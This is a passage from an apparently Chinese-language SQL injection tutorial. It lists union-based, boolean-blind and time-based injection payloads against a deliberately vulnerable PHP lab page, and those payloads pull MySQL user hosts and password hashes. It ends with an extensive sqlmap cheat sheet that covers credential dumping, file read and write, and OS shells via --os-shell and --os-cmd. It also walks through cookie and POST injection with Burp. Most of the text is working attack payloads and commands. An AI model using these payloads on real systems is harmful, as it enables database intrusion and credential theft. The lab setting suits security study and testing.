index.php?id=1' and 0 union select 1,1,column_name,4,5
> from information_schema.columns
> where table_schema='mysql' and table_name='user' limit 0,1 --+
查詢表中數據: 查詢表中數據,我們可以使用以下三種方式進行查詢.
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+ // 查詢第一個用戶
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+ // 查詢第二個用戶
index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+
盲注的使用: 首先需要簡單修改上方的源代碼,去掉回顯框,然后修改以下代碼.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="gbk">
<title>SQL 注入測試代碼</title>
</head>
<?php
$connect = mysqli_connect("localhost","root","123","lyshark");
if($connect)
{
$id = $_GET['id'];
if(isset($id))
{
$sql = "select * from users where id='$id' limit 0,1";
$query = mysqli_query($connect,$sql);
$row = mysqli_fetch_array($query);
if(!empty($row))
{
print("查詢完成了..");
}else
{
print("查詢失敗");
}
}
}
?>
<body>
<?php echo '<hr><b> 后端執行SQL語句: </b>' . $sql; ?>
</body>
</html>
猜數據庫名稱: 盲注也就是程序會返回兩種狀態,查詢成功與查詢失敗,我們需要自己構建判斷條件,常用語句如下.
index.php?id=1' and left(version(),1)=5 --+ // 返回正常,說明版本號是5
index.php?id=1' and (length(database()))=7 --+ // 返回正常,說明數據庫名字長度是7
index.php?id=1' and (left(database(),1))='l' --+ // 返回正常,說明數據庫第一位是l
index.php?id=1' and (left(database(),2))='ly' --+ // 返回正常,說明數據庫前兩位位是ly,以此類推
index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // 驗證第一位是否為l
index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+ // 驗證第二位是否為y,以此類推
猜表名:如果網頁返回正常,則說明存在這個表,返回不正常說明不存在.
index.php?id=1' and (select count(*) from mysql.user) >=0 // 存在mysql.user表
index.php?id=1' and (select count(*) from lyshark) >=0 // 存在lyshark表
猜字段: 如果網頁返回正常,說明存在猜測的字段,不正常則需要繼續猜.
index.php?id=1' and (select count(id) from users) >=0 // 返回正常說明存在id字段
index.php?id=1' and (select count(name) from users) >=0 // 返回不正常不存在name字段
index.php?id=1' and (select count(*) from lyshark) >=3 #-- // 返回表中記錄數
用戶名猜測: 通過正則符號也可使完成多指定用戶的探測,其他函數用法相同.
index.php?id=1' and (length(user())) >=14 # // 猜測數據庫用戶名稱長度
index.php?id=1' and (select user() like 'root%') # // 猜測用戶名
index.php?id=1' and (select user() regexp '^[a-z]') # // 猜測開頭a-z
index.php?id=1' and (select user() regexp '^r') # // 第一位是r
index.php?id=1' and (select user() regexp '^ro') # // 第二位是o
index.php?id=1' and (select user() regexp '^root') # // 以此類推猜測前四位
延時注入: 通過sleep(5)
延時的方式,我們同樣可以判斷是否存在注入點.
index.php?id=1' and sleep(5) #
index.php?id=1' and sleep(5) order by 3 # // 如果是3個字段,則會延時5秒
index.php?id=1' and select if(length(user())=0,sleep(3),1) # //如果user=0則延時3秒
index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1個字符=d則延時3秒
index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2個字符=v則延時3秒
◆sqlmap 命令◆
常用檢測命令:
sqlmap -u "./index.php?id=1" -v 3 # 顯示攻擊載荷
sqlmap -u "./index.php?id=1" --level=3 # 指定探測級別
sqlmap -u "./index.php?id=1" --privileges # 測試所有用戶權限
sqlmap -u "./index.php?id=1" --privileges root # 測試root用戶權限
sqlmap -u "./index.php?id=1" --all # 查詢所有數據庫
sqlmap -u "./index.php?id=1" --hostname # 查詢當前主機名
sqlmap -u "./index.php?id=1" --is-dba # 判斷root權限
sqlmap -u "./index.php?id=1" --users # 枚舉數據庫用戶
sqlmap -u "./index.php?id=1" --random-agent # 隨機User-Agent
sqlmap -u "./index.php?id=1" --output-dir="" # 自定義輸出目錄
sqlmap -u "./index.php?id=1" --file-read="" # 讀取文件
sqlmap -u "./index.php?id=1" --file-write="" # 寫入操作
sqlmap -u "./index.php?id=1" --os-cmd="net user" # 執行一條命令
sqlmap -u "./index.php?id=1" --os-shell # 交互執行命令
sqlmap -u "./index.php?id=1" --sql-query="" # 執行的SQL語句
sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie
sqlmap -u "./index.php?id=1" --temper="" # 指定過濾腳本
sqlmap -u "./index.php?id=1" --dbs --delay 1 # 延時1秒后注入
sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # 延時3秒后注入
sqlmap -u "./index.php?id=1" --identify-waf # 測試是否有WAF
sqlmap -u "./index.php?id=1" --current-db # 查詢當前數據庫
sqlmap -u "./index.php?id=1" --current-user # 查詢當前主機名
sqlmap -u "./index.php?id=1" --users # 查詢所有用戶名
sqlmap -u "./index.php?id=1" --dbs # 列出所有數據庫
sqlmap -u "./index.php?id=1" --tables # 列出所有的表
sqlmap -u "./index.php?id=1" -D "mysql" --tables # 獲取mysql庫中的表
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 獲取mysql.host表列名稱
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 將mysql.host保存到本地
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脫褲
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump
Cookie注入: 當level>=2時,使用cookie注入,level >=3 使用User-agent/Referer注入.
sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判斷注入點
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜數據庫名
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名稱
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜內容
POST注入: 該方法通常是使用抓包工具抓取數據包,然后指定字段進行測試即可.
1.瀏覽器打開目標地址 http://www.xxx.com/index.php
2.配置burp代理(127.0.0.1:8080) 准備攔截請求
3.點擊login表單的submit按鈕,或者其他按鈕均可
4.這時候Burp會攔截到了我們的登錄POST請求
5.把這個post請求復制為txt,記錄下其中的 id=1&Submit=Submit
sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"